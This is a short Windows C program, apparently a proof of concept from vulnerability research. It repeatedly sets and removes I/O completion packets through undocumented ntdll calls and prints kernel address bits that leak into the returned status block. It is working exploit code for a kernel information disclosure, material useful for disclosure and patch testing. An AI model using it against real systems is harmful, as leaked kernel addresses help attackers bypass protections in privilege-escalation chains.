#include <stdio.h>
|
#include <tchar.h>
|
#include <Windows.h>
|
#include <winternl.h>
|
|
#pragma comment(lib, "ntdll.lib")
|
|
extern "C" NTSTATUS __stdcall NtCreateIoCompletion(
|
PHANDLE IoCompletionHandle,
|
ACCESS_MASK DesiredAccess,
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
DWORD NumberOfConcurrentThreads
|
);
|
|
|
extern "C" NTSTATUS __stdcall NtRemoveIoCompletion(
|
HANDLE IoCompletionHandle,
|
PUINT_PTR KeyContext,
|
PUINT_PTR ApcContext,
|
PIO_STATUS_BLOCK IoStatusBlock,
|
PLARGE_INTEGER Timeout
|
);
|
|
extern "C" NTSTATUS __stdcall NtSetIoCompletion(
|
HANDLE IoCompletionHandle,
|
UINT_PTR KeyContext,
|
UINT_PTR ApcContext,
|
UINT_PTR Status,
|
UINT_PTR IoStatusInformation
|
);
|
|
int main()
|
{
|
HANDLE io_completion;
|
NTSTATUS status = NtCreateIoCompletion(&io_completion, MAXIMUM_ALLOWED, nullptr, 0);
|
if (!NT_SUCCESS(status))
|
{
|
printf("Error creation IO Completion: %08X\n", status);
|
return 1;
|
}
|
|
while (true)
|
{
|
status = NtSetIoCompletion(io_completion, 0x12345678, 0x9ABCDEF0, 0x11111111, 0x22222222);
|
if (!NT_SUCCESS(status))
|
{
|
printf("Error setting IO Completion: %08X\n", status);
|
return 1;
|
}
|
|
IO_STATUS_BLOCK io_status = {};
|
memset(&io_status, 'X', sizeof(io_status));
|
|
UINT_PTR key_ctx;
|
UINT_PTR apc_ctx;
|
|
status = NtRemoveIoCompletion(io_completion, &key_ctx, &apc_ctx, &io_status, nullptr);
|
if (!NT_SUCCESS(status))
|
{
|
printf("Error setting IO Completion: %08X\n", status);
|
return 1;
|
}
|
|
UINT_PTR p = (UINT_PTR)io_status.Pointer;
|
if ((p >> 32) != 0)
|
{
|
printf("Leak: %p\n", io_status.Pointer);
|
}
|
}
|
|
return 0;
|
}
|
|